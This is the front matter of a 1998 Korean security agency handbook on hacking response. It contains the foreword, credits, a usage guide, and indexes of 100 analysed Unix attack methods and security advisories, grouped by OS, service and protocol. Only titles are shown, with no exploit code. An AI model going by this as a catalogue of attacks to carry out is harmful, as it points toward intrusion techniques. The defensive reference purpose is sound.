KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우...

963
KISA II-HE-981 해킹대응기술 핸드북 한국정보보호센타 KOREA INFORMATION SECURITY AGENCY

Transcript of KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우...

Page 1: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

KISA II-HE-981

해킹대응기술

핸드북

한 국 정 보 보 호 센 타

KOREA INFORMATION SECURITY AGENCY

Page 2: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

발간사

최근 해외 해커들의 국내 정보통신망 침입이 잦아지고 있는 상황을 볼 때, 해킹사고는 개인

과 사회의 피해뿐만 아니라 국가적인 정보기반의 취약성이 드러나고 있어 매우 우려된다고

할 수 있겠습니다.

미국 등 해외 정보화 선진국에서는 정보 전(Information Warfare)이라는 상황 하에 국가정

보기반을 보호하려는 대책을 추진하고 있으며, 미국방성 보고서에 의하면 전세계적으로

120여개 국가가 컴퓨터 해킹공격을 수행할 수 있는 능력을 보유한 것으로 발표하고 있습니

다.

그러므로 학생 등 청소년에 의한 단순 해킹보다 구조적 범행을 목적으로 하는 금융망 해킹,

기업망 해킹과 공공기관 해킹 등에 대한 대비책을 잘 세우고 추진해 나가야 할 때입니다.

한국정보보호센타는 ‘96년 설립 당시부터 해킹사고에 적극적으로 대응하고자, 국내●외에

이미 알려진 주요 해킹방법들을 대상으로 자체적인 해킹공격과 방어 기법 등을 꾸준히 시험

●분석하였습니다. 이렇게 시험●분석된 해킹방법과 대응기술은 한국정보보호센타 침해사고

대응지원팀(CERTCC-KR)에서 국내●외로부터 접수된 해킹피해 사고에 대한 기술적인 지원

에 활용하여 큰 성과를 거두고 있습니다.

이번에 축적된 기술을 바탕으로 해킹대응기술핸드북을 발간하여 한정된 기관에만 배포하고

자 하는 것은 관련 유관기관에서 해킹사고의 피해분석과 대응책 마련에 실질적인 보탬이 되

도록 하고자 하는 것입니다.

아무쪼록 이 해킹대응기술핸드북이 잘 활용될 수 있기를 기대하며, 해킹방법도 다루고 있는

내용을 감안하여 안전한 보관과 관리를 부탁드립니다.

본 핸드북은 축적된 해킹대응기술을 바탕으로 매년 발간할 예정이오니 많은 의견과 지도편

달을 바라는 바입니다.

1998년 4월

한국정보보호센타 원장

이 재 우

Page 3: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

본 책자는 “침해사고 대응체제 구축 및 기술지원” 사업의 일환으로 ‘96년부터 한국정보보센

타 해킹시험분석실의 각종 유닉스시스템에서 시험・분석한 해킹방법 및 대응책과 보안권고

문을 토대로 기술본부 기술대응팀의 연구원들이 참여하여 작성하였습니다.

1998년 4월

총 괄 : 본부장 이홍섭(기술본부)

연구책임자 : 팀 장 임채호(기술본부 기술대응팀)

참여연구원 :

선임연구원 임휘성(기술본부 기술대응팀)

주임연구원 박정현(기술본부 기술대응팀)

주임연구원 정윤종(기술본부 기술대응팀)

연 구 원 김상정(기술본부 기술대응팀)

위촉연구원 김상정(기술본부 기술대응팀)

위촉연구원 공성태(기술본부 기술대응팀)

위촉연구원 차수현(기술본부 기술대응팀)

위촉연구원 박유리(기술본부 기술대응팀)

Page 4: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

목차

제 1 장 이용안내

제 2 장 분류별 색인안내

1. 구성상 오류에 따른 분류

2. 운영체제별 분류

3. 서비스별 분류

4. 프로토콜 분류

5. 공격지별 분류

6. 내부공격의 해킹기법별 분류

7. 해킹도구별 분류

8. 서비스거부공경별 분류

9. 원격지컴퓨 정보추출 방법별 분류

제 3 장 해킹대응기술 분석자료

제목차례

KH98-001 호스트_동등-*-구성

KH98-002 tftp-*-구성

KH98-003 NFS_export-*-구성

KH98-004 NIS_ypx-*-구성

KH98-005 NFS_export_길이초과-SunOS-*-구성

KH98-006 magic_ligin-*-해킹도구

KH98-007 네트워크_스니퍼-Soalris-해킹도구

KH98-008 네트워크_스니퍼-SunOS-해킹도구

KH98-009 autoreply-Solaris-임시파일

KH98-010 ps-Solaris-임시파일

KH98-011 rdist-*-입력해석

KH98-012 finger_redirect-*-구성

KH98-013 chup-SunOS-해킹도구

KH98-014 passwd-sunOS-임시파일

KH98-015 mail-SunOS-임시파일

KH98-016 expreserve-SunOs-경쟁조건

KH98-017 ifconfig_트로이목마-*-해킹도구

KH98-018 phf_CGI-*-입력해석

Page 5: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

KH98-019 test_CGI-*-입력해석

KH98-020 Sendmail_EXPN/VRFY-*-구성

KH98-021 ypwhich-*-구성

KH98-022 TCP_FIN-*-프로토콜

KH98-023 TCP_RST-*-프로토콜

KH98-024 세션_가로채기-*-프로토콜

KH98-025 포트스캔-*-해킹도구

KH98-026 포트스캔_ACK-*-해킹도구

KH98-027 포토스캔_stealth-*-해킹도구

KH98-028 rststat-*-구성

KH98-029 netstat-*-구성

KH98-030 systat-*-구성

KH98-031 finger-*-구성

KH98-032 rwho-*-구성

KH98-033 rusers-*-구성

KH98-034 트로이목마_ls-*-해킹도구

KH98-035 트로이목마_neststat-*-해킹도구

KH98-036 트로이목마_du-*-해킹도구

KH98-037 체크섬_변조도구-*-해킹도구

KH98-038 TCP_RST-*-프로토콜

KH98-039 ps_트로이목마-*-해킹도구

KH98-040 zapper-*-해킹도구

KH98-041 ipsend-*-해킹도구

KH98-042 voodoo-*-해킹도구

KH98-043 ICMP_echo-*-프로토콜

KH98-044 IP_spoofing-*-프로토콜

KH98-045 TCP_SYN_flooding-*-서비스거부

KH98-046 ypsnarf-*-해킹도구

KH98-047 ypupdated-*-구성

KH98-048 mail_spamming-*-프로토콜

KH98-049 rlogin-AIX-*-입력해석

KH98-050 Xwindow-*-구성

KH98-051 admintool-Solaris-임시파일

KH98-052 automountd-Solaris-함수파일

KH98-053 eject-Solris-버퍼오버플로우

KH98-054 fdformat-Solaris-버퍼오버플로우

KH98-055 ffbconfig-Solaris-버퍼오버플로우

KH98-056 kcms_calibrate-Solaris-임시파일

Page 6: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

KH98-057 nispopulate-Solaris-임시파일

KH98-058 passwd-Solaris-오버플로우

KH98-059 ping-Solaris-서비스거부

KH98-060 rlogin-*-오버플로우

KH98-061 sdtcm-*- 임시파일

KH98-062 vold-soalris-임시파일

KH98-063 workman-*-임시파일

KH98-064 chfn-HP-임시파일

KH98-065 connect-*-서비스거부

KH98-066 cue-HPUX-임시파일

KH98-067 fork-HPUX-무한루프

KH98-068 fpkg2swpkg-HPUX-임시파일

KH98-069 newgrp-HPUX-오버플로우

KH98-070 passwd-HPUX-오버플로우

KH98-071 ppl-HPUX-임시파일

KH98-072 ppl-HPUX-코어덤프

KH98-073 sam_exec-HPUX-입력처리

KH98-074 SAM-HPUX-임시파일

KH98-075 setprivgrp-IRIX-함수버그

KH98-076 LicenseManager-IRIX-임시파일

KH98-077 cdplayer-IRIX-임시디렉토리

KH98-078 cdplayer-IRIX-오버플로우

KH98-079 chost-IRIX-입력해석

KH98-080 coldrview-IRIX-입력해석

KH98-081 csetup-IRIX-임시파일

KH98-082 datman-IRIX-입력해석

KH98-083 day5notifier-IRIX-입력해석

KH98-084 df-IRIX-오버플로우

KH98-085 eject-IRIX-오버플로우

KH98-086 fsdump-IRIX-임시파일

KH98-087 handler-IRIX-입력해석

KH98-088 login-IRIX-구성

KH98-089 login-IRIX-오버플로우

KH98-090 monpanel-IRIX-오버플로우

KH98-091 netprint-IRIX-임시파일

KH98-092 ordist-IRIX-오버플로우

KH98-093 pkgadjust-IRIX-입력해석

KH98-094 printers-IRIX-오버플로우

Page 7: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

KH98-095 pset-IRIX-오버플로우

KH98-096 suid_exec-IRIX-입력해석

KH98-097 systour-IRIX-구성

KH98-098 webdist_CGI-IRIX-입력해석

KH98-099 wrap_CGI-IRIX-입력해석

KH98-100 xconsole-IRIX-오버플로우

부록 CERTCC-KR 보안권고문

제목차례

KA-97-01 Unix FLEXlm 취약점과 대책

KA-97-02 HP-UX newgrp 버퍼오버플로우 대책

KA-97-03 IRIX csetup 취약점과 대책

KA-97-04 talkd 버퍼오버플로우 대책

KA-97-05 Sendmail MIME 버퍼어버플로우 대책

KA-97-06 rlogin 버퍼오버플로우 대책

KA-97-07 gethostbyname 버퍼오버플로우 대책

KA-97-08 H-21: HP auth, chsh, chfn 취약점과 대책

KA-97-09 ftpd에서 시그날 제어대책

KA-97-10 HP-UX vgdisplay 버퍼오버플로우 대책

KA-97-11 SGI IRIX startmidi/stopmidi 취약점과 대책

KA-97-12 Solaris ffbconfig 버퍼오버플로우 대책

KA-97-13 SGI XFS 파일시스템의 취약점과 대책

KA-97-14 httpd nph-test-cgi 취약점 및 대책

KA-97-15 innd 취약점과 대책

KA-97-16 Solaris passwd 버퍼오버플로우 대책

KA-97-17 MS InternetExplorer 취약점 대책

KA-97-18 HP/UX ppl core dump 취약점취약점과 대책

KA-97-19 SOLARIS sdtcm convert 취약점과 대책

KA-97-20 IRIX fsdump 취약점과 대책

KA-97-21 DIGITAL DoP 취약점과 대책

KA-97-22 HPMPE/iX ICMP Echo Request 대책

KA-97-23 eject/fdformat 버퍼오버플로우 취약점과 대책

KA-97-24 MS Internet Explorer .ISP 취약점과 대책

KA-97-25 MS Internet Explorer UMD 취약점과 대책

KA-97-26 MS Internet Explorer NTLM 인증 대책

KA-97-27 윈도즈 NT SMB 서버인증 취약점과 대책

KA-97-28 윈도즈95의 SMB 서버인증 취약점과 대책

Page 8: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

KA-97-30 ucbmail 취약점과 대책

KA-97-31 Shockwave 취약점가 대책

KA-97-32 IMAP_POP의 취약점과 대책

KA-97-33 IRIX gmaemusage 취약점

KA-97-34 윈도즈NT 크랙과 대책

KA-97-35 NLS 취약점과 대책

KA-97-36 Kerberos 취약점과 대책

KA-97-38 suidperl 취약점과 대책

KA-97-39 IRIX login LICKOUT 취약점과 대책

KA-97-40 X Window System libXt 취약점과 대책

KA-97-41 xlock 프로그램 취약점과 대책

KA-97-42 SGI csetup 프로그램 취약점과 대책

KA-97-43 IRIX webdist.cgi 프로그램 취약점과 대책

KA-97-44 IRIX netprit 취약성과 대책

KA-97-45 Solaris 2.x lp Print 서비스 취약점과 대책

KA-97-46 IRIX runpriv 프로그램 버퍼 오버플로우 취약점과 대책

KA-97-47 metamail 취약점과 대책

KA-97-48 Solaris ps 프로그램 버퍼 오버플로우 취약점과 대책

KA-97-49 Solaris chkey 버퍼오버플로우 취약점과 대책

KA-97-50 Windows NT/95 OOB 취약점과 대책

KA-97-51 NT Built-in 취약점과 대책

KA-97-52 IE/Powerpoint 취약점과 대책

KA-97-53 rld 취약점과 대책

KA-97-54 HP VirtualVault 취약점과 대책

KA-97-55 IRIX scanner 취약점과 대책

KA-97-56 IRIX df 버퍼오버플로우 취약점과 대책

KA-97-57 IRIX pset 버퍼오버플로우 취약점과 대책

KA-97-58 IRIX eject 버퍼오버플로우 취약점과 대책

KA-97-59 IRIX lodist/scheme 버퍼오버플로우 취약점과 대책

KA-97-60 IRIX ordist 버퍼오버플로우 취약점과 대책

KA-97-61 IRIX xlock 버퍼오버플로우 취약점과 대책

KA-97-62 Solaris rpcbind 취약성과 대책

KA-97-63 SUN getopt(3) 취약점과 대책

KA-97-64 Win95 Network Password 취약점과 대책

KA-97-65 at(1) 버퍼오버플로우 취약점과 대책

KA-97-66 lpr 버퍼오버플로우 취약점과 대책

KA-97-66 lpr 버퍼오버플로우 취약점과 대책

KA-97-67 MS IIS 취약점과 대책

Page 9: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

KA-97-68 SUN eeprom 취약점과 대책

KA-97-69 IRIX ordist 버퍼오버플로우 취약점과 대책

KA-97-70 rfork() 취약점과 대책

KA-97-71 1Bind 취약점과 대책

KA-97-72 Sun talkd 취약점과 대책

KA-97-73 IRIX talkd 취약점과 대책

KA-97-74 mSQL 취약점과 대책

KA-97-75 HPUX rlogin 보안 취약점과 대책

KA-97-76 Samba를 위한 버그 수정

KA-97-77 SunOS auyomounter 취약점과 대책

KA-97-78 SunOS Cisco CHAP 인증 취약점과 대책

KA-97-79 BSC I/O Signals 취약점과 대책

KA-97-80 rdist 의 buffer Overflow 대책

KA-97-81 Vacation 취약점과 대책

KA-97-82 HP-UX mediainit 취약점과 대책

KA-97-83 swinstall 취약점과 대책

KA-97-84 Netscape Navigator의 취약점과 대책

KA-97-85 HP-UX vuefile, vuepad, dtfile, & dtpad 취약점과 대책

KA-97-86 SUN libX11 취약점과 대책

KA-97-87 SSH/X11 취약점과 대책

KA-97-88 HPUX X11/Motif 취약점과 대책

KA-97-89 Solaris DCE Integrated login 버그대책

KA-97-90 AIXnslookup 명령 취약점과 대책

KA-97-91 Count.cgi 버퍼오버플로우 취약점과 대책

KA-97-92 MSIE4.0 버퍼오버플로우 취약점과 대책

KA-97-93 Lynx 임시 파일 취약점과 대책

KA-97-94 Lynx 다운로드 취약점과 대책

KA-97-95 AIX piodmgrsu 취약점과 대책

KA-97-96 AIX ftp client 취약점과 대책

KA-97-97 Solaris ifconfig ioctls 취약점과 대책

KA-97-98 sysdef 취약점과 대책

KA-97-01 Nosuid 취약점과 대책

KA-97-02 Solaris ifconfig ioctls 취약점과 대책

KA-97-03 HP-Ux telnet 서비스거부공격과 대책

KA-97-04 INN뉴스서버 취약점과 대책

KA-97-05 NT NtOperProcessToker 취약점과 대책

KA-97-06 Solaris NIS+ 취약점과 대책

KA-97-07 HP-UX UID/GID 취약점과 대책

Page 10: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

KA-97-08 HP-UX Novell Netware

KA-97-09 AIX portmir 명령 취약점과 대책

KA-97-10 AIX xdat 명령 취약점과 대책

KA-97-11 CrackLib v2.5 취약점과 대책

KA-97-12 IRIX syserr과 permission 프로그램 취약점과 대책

KA-97-13 HP-UX VVOS xlock 취약점과 대책

KA-97-14 SCO /usr/bin/X11/scoterm 취약점과 대책

KA-97-15 Sun nis_cachemgr 취약점과 대책

KA-97-16 IBM AIX routed 데몬 취약점과 대책

KA-97-17 /[usr/]bin/cue의 취약점과 대책

KA-97-18 HP-UX land 취약점과 대책

KA-97-19 UNIX elm/filter 취야점과 대책

Page 11: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

제 1 장 이 용 안 내

Page 12: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

이 용 안 내

본 책자는 ‘96년부터 한국정보보호센터 해킹시험분석실의 각종 유닉스시스템에서 자체적으

로 시험●분석한 100건의 해킹방법과 대응책을 정리한 것이다. 각각의 해킹방법들은 국내

에서 자주 이용되는 해킹수법들을 매년 선정하여 꾸준히 시험●분석하였으며, 주로 시스템

의 취약점과 버그들을 중심으로 시험하였다. 또한 해킹대응기술핸드북 부록에는 한국정보보

호센터에서 ‘96년부터 작성하여 홈페이지 등을 통해 국내에 배포한 보안권고문(Korea

Advisory) 약 100여 가지를 정리하였으며, 이는 최근의 해킹동향과 개별 대응방안을 참고

할 수 있도록 하였다. 해킹대응기술 분석자료의 개별 해킹방법과 대책은 시험분석한 순서대

로 정리되어 있으나, 이 보고서를 읽는 사람들의 활용도를 고려하여 여러 가지 기준의 색인

을 첨부하였다.

이 색인은 다음과 같은 분류에 의해 만들어 졌다.

○구성상의 오류에 해당하는 해킹방법 분류

○운영체제별 해킹방법 분류

○네트워크 서비스별 해킹방법 분류

○프로토콜 해킹방법 분류

○해커의 해킹시작점별 해킹방법 분류

○시스템 내부에서의 해킹방법 분류

○해킹도구별 분류

○서비스방해공격 해킹방법별 분류

○원격지컴퓨터 정보수집 방법별 분류

각각의 해킹대응기술 분석자료는 다음과 같은 내용으로 이루어 진다.

○문서번호 : KH(Korea Hacking)번호, 시험분석실에서 순차적으로 매김

○문서제목 : 해킹방법과 대책이름

○관련 응용프로그램 : 해킹 방법과 관련있는 응용프로그램

○관련 운영체제 : 해킹방법이 이용될 수 있는 운영체제

○취약점분석

-취약점 이해 : 해킹당할 수 있는 문제점 설명

-취약점 확인방법 : 취약점의 존재 유무 확인 방법

○공격수법 분석

-해킹수법 이해 : 해킹하는 방법의 이해

Page 13: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

-해킹소스 프로그램 : 자동해킹할 수 있는 소스 프로그램

-해킹실험 결과 : 해킹 자체 시험 분석과정 설명

○해킹흔적 확인 방법 : 해킹 당하였는지 확인할 수 있는 방법

○대응방법 : 방지할 수 있는 방법

이 보고서는 제한된 기관에만 배포되어 다음과 같은 용도로 활용될 것으로 기대한다.

첫째, 만약 해킹방법들이 어떻게 이루어지고 각각의 대응방안 등을 심도있게 연구하려는 사

람은 해킹대응기술핸드북의 전반적인 내용을 순차적으로 읽고 분석하면 된다.

둘째, 시스템관리자로서 이 핸드북을 해킹방지에 활용하고자 하는 사람은 운영체제별 색인

을 참고하여, 자신이 관리하는 운영체제에 관련된 해킹대응기술 분석 자료만을 우선 적용하

고 기타 네트워크서비스 등 관련 해킹대응기술 분석자료를 이용한다.

셋째, 시스템관리자이면서 해킹사고에 의한 피해를 당하였을 경우에는 자신의 운영체제관련

해킹대응기술 분석자료에서 해킹흔적 확인방법과 대응방법 등을 활용할 수 있다.

넷째, 만약 어떤 기관에서 전체 전산망의 보안을 담당하고 있다면, 네트워크 상의 트래픽을

분석하고, 네트워크 서비스별 해킹대응기술 분석자료들을 활용하여 네트워트에 불법적인 해

킹시도가 있는지 점검할 수 있다.

다섯째, 그밖에도 해킹방지를 위한 시스템개발자는 해킹대응기술핸드북을 활용하여 방지SW

개발에 응용할 수 있다.

끝으로 이 핸드북은 해킹방법들을 구체적으로 분석하여 그 대응방안을 제시하고 있으므로,

해킹방법 등이 일반인에게 알려지지 않도록 해킹방지를 위한 전문기관에만 배포되고 관련부

서내에서만 활용할 수 있도록 한다.

Page 14: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

제 2 장 분류별 색인안내

1. 구성상의 오류에 따른 분류

2. 운영체제별 분류

3. 서비스별 분류

4. 프로토콜별 분류

5. 공격지별 분류

6. 내부공격의 해킹기법별 분류

7. 해킹도구별 분류

8. 서비스거부 공격별 분류

9. 원격지컴퓨터 정보추출 방법별 분류

Page 15: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

1.구성상 오류에 따른 분류

KH98-001 호스트_동등-*-구성

KH98-002 tftp-*-구성

KH98-003 NFS_export-*-구성

KH98-004 NIS_ypx-*-구성

KH98-005 NFS_export_길이초과-SunOS-구성

KH98-012 finger_redirect-*-구성

KH98-020 Sendmail_EXPN/VRFY-*-구성

KH98-029 netstat-*-구성

KH98-030 systat-*-구성

KH98-031 finger-*-구성

KH98-032 rusers-*-구성

KH98-033 rusers-*-구성

KH98-047 ypupdated-*-구성

2. 운영체제별 분류

2-1. AIX(IBM)

2-2. IRIX(SGI)

KH98-076 LicenseManager-IRIX-임시파일

KH98-077 cdplayer-IRIX-임시디렉토리

KH98-078 cdplayer-IRIX-오버플로우

KH98-079 chost-IRIX-입력해석

KH98-080 colorview-IRIX-입력해석

KH98-081 csetup-IRIX-임시파일

KH98-082 datman-IRIX-입력해석

KH98-083 day5notifier-IRIX-입력해석

KH98-084 df-IRIX-오버플로우

KH98-085 eject-IRIX-오버플로우

KH98-086 fsdump-IRIX-임시파일

KH98-087 handler_CGI-IRIX-입력해석

KH98-088 login LOCKOUT-IRIX-오버플로우

KH98-089 login-IRIX-오버플로우

KH98-090 monpanel-IRIX-오버플로우

KH98-091 netprint-IRIX-임시파일

Page 16: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

KH98-092 ordist-IRIX-오버플로우

KH98-093 pkgadjust-IRIX-입력해석

KH98-094 printers-IRIX-오버플로우

KH98-095 pset-IRIX-오버플로우

KH98-096 suid_exec-IRIX-입력해석

KH98-097 systour-IRIX-구성

KH98-098 webdist_CGI-IRIX-입력해석

KH98-099 wrap_CGI-IRIX-입력해석

KH98-100 xconsole-IRIX-오버플로우

2-3. HP-UX (HP)

KH98-064 chfn-HP-오버플로우

KH98-065 connect-*-서비스거부

KH98-066 cue-HPUX-임시파일

KH98-067 fork-HPUX-무한루프

KH98-068 fpkg2swpkg-HPUX-임시파일

KH98-069 newgrp-HPUX-오버플로우

KH98-070 passwd-HPUX-오버플로우

KH98-071 ppl-HPUX-임시파일

KH98-072 ppl-HPUX-코어덤프

KH98-073 sam_exec-HPUX-입력처리

KH98-074 SAM-HPUX-임시파일

KH98-075 setprivgrp-HPUX-함수버그

2-4. SunOS/Solaris (SUN)

KH98-003 NFS_export-*-구성

KH98-005 NFS_export_길이초과-SunOS-구성

KH98-009 autoreply-Solaris-임시파일

KH98-010 ps-Solaris-임시파일

KH98-013 chup-SunOS-해킹도구

KH98-014 passwd-SunOS-임시파일

KH98-015 mail-SunOS-임시파일

KH98-016 expreserve-SunOS-경쟁조건

KH98-051 admintool-Solaris-임시파일

KH98-052 automountd-Solaris-함수호출

KH98-053 eject-Solaris-버퍼오버플로우

KH98-054 fdformat-Solaris-버퍼오버플로우

KH98-055 ffbconfig-Solaris-버퍼오버플로우

Page 17: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

KH98-056 kcms_calibrate-Solaris-임시파일

KH98-057 nispopulate-Solaris-임시파일

KH98-058 passwd-Solaris-오버플로우

KH98-059 ping-Solaris-서비스거부

KH98-060 rlogin-*-오버플로우

KH98-061 sdtcm-*-임시파일

KH98-062 vold-solaris-임시파일

KH98-063 workman-*-임시파일

2-5. Digital UNIX (DEC)

2-6. Linux (Freeware)

2-7. SCO Unix (SCO)

2-8. BSD/FreeBSD (Freeware)

2-9. WindowsNT

2-10. Windows95

2-11. 기타

3. 서비스별 분류

3-1 r* 서비스

KH98-001 호스트_동등-*-구성

KH98-060 rlogin-*-오버플로우

3-2 tftp 서비스

KH98-002 tftp-*-구성

3-3 NFS 서비스

KH98-003 NFS_export-*-구성

KH98-005 NFS_export_길이초과-SunOS-구성

3-4 NIS 서비스

KH98-004 NIS_ypx-*-구성

Page 18: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

KH98-021 ypwhich-*-구성

KH98-046 ypsnarf-*-해킹도구

KH98-047 ypupdated-*-구성

KH98-057 uispopulate-Solaris-임시파일

3-5 finger 서비스

KH98-012 finger_redirect-*-구성

KH98-031 finger-*-구성

3-6 www 서비스

KH98-018 phf_CGI-*-입력해석

KH98-019 test_CGI-*-입력해석

KH98-087 handler_CGI-IRIX-입력해석

KH98-098 webdist_CGI-IRIX-입력해석

KH98-099 wrap_CGI-IRIX-입력해석

3-7 sendmail 서비스

KH98-020 Sendmail_EXPN/VRFY-*-구성

KH98-042 voodoo-*-해킹도구

KH98-048 mail_spamming-*-프로토콜

3-8 rstat 서비스

KH98-028 rstat-*-구성

3-9 netstat 서비스

KH98-029 netstat-*-구성

KH98-035 트로이목마_netstat-*-해킹도구

3-10 systat 서비스

KH98-030 systat-*-구성

3-11 rwho 서비스

KH98-032 rwho-*-구성

3-12 rusers 서비스

KH98-033 rusers-*-구성

Page 19: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

3-13 Xwindows 서비스

KH98-050 Xwindow-*-구성

3-14 telnet 서비스

KH98-088 login LOCKOUT-IRIX-구성

KH98-089 login-IRIX-오버플로우

4. 프로토콜별 분류

4-1 TCP

KH98-001 호스트_동등-*-구성

4-2 UDP

KH98-022 TCP_FIN-*-프로토콜

KH98-023 TCP_RST-*-프로토콜

KH98-024 세션_가로채기-*-프로토콜

KH98-025 포트스캔-*-해킹도구

4-3 ICMP

KH98-043 ICMP_echo-*-프로토콜

KH98-059 ping-Solaris-서비스거부

4-4 IP

KH98-007 네트워크_스니퍼-Soalris-해킹도구

KH98-008 네트워크_스니퍼-SunOS-해킹도구

KH98-044 IP_spoofing-*-프로토콜

4-5 TFTP

KH98-002 tftp-*-구성

4-6 HTTP

KH98-018 phf_CGI-*-입력해석

KH98-019 test_CGI-*-입력해석

KH98-087 handler_CGI-IRIX-입력해석

KH98-098 webdist_CGI-IRIX-입력해석

KH98-099 wrap_CGI-IRIX-입력해석

Page 20: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

5. 공격지별 분류

5-1 원격지로부터의 공격

KH98-001 호스트_동등-*-구성

KH98-002 tftp-*-구성

KH98-003 NFS_export-*-구성

KH98-004 NIS_ypx-*-구성

KH98-005 NFS_export_길이초과-SunOS-구성

KH98-012 finger_redirect-*-구성

KH98-018 phf_CGI-*-입력해석

KH98-019 test_CGI-*-입력해석

KH98-020 Sendmail_EXPN/VRFY-*-구성

KH98-021 ypwhich-*-구성

KH98-022 TCP_FIN-*-프로토콜

KH98-023 TCP_RST-*-프로토콜

KH98-024 세션_가로채기-*-프로토콜

KH98-025 포트스캔-*-해킹도구

KH98-026 포트스캔_ACK-*-해킹도구

KH98-027 포트스캔_stealth-*-해킹도구

KH98-028 rstat-*-구성

KH98-029 netstat-*-구성

KH98-030 systat-*-구성

KH98-031 finger-*-구성

KH98-032 rwho-*-구성

KH98-033 rusers-*-구성

KH98-038 TCP_RST-*-프로토콜

KH98-041 ipsend-*-해킹도구

KH98-042 voodoo-*-해킹도구

KH98-043 ICMP_echo-*-프로토콜

KH98-044 IP_spoofing-*-프로토콜

KH98-045 TCP_SYN_flooding-*-서비스거부

KH98-046 ypsnarf-*-해킹도구

KH98-047 ypupdated-*-구성

KH98-048 mail_spamming-*-프로토콜

KH98-049 rlogin-AIX-입력해석

KH98-050 Xwindow-*-구성

KH98-087 handler_CGI-IRIX-입력해석

KH98-088 login LOCKOUT-IRIX-구성

Page 21: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

KH98-098 webdist_CGI-IRIX-입력해석

KH98-099 wrap_CGI-IRIX-입력해석

5-2 내부로부터의 공격

KH98-006 magic_login-*-해킹도구

KH98-007 네트워크_스니퍼-Soalris-해킹도구

KH98-008 네트워크_스니퍼-SunOS-해킹도구

KH98-009 autoreply-Solaris-임시파일

KH98-010 ps-Solaris-임시파일

KH98-011 rdist-*-입력해석

KH98-013 chup-SunOS-해킹도구

KH98-014 passwd-SunOS-임시파일

KH98-015 mail-SunOS-임시파일

KH98-016 expreserve-SunOS-경쟁조건

KH98-017 ifconfig_트로이목마-*-해킹도구

KH98-034 트로이목마_ls-*-해킹도구

KH98-035 트로이목마_netstat-*-해킹도구

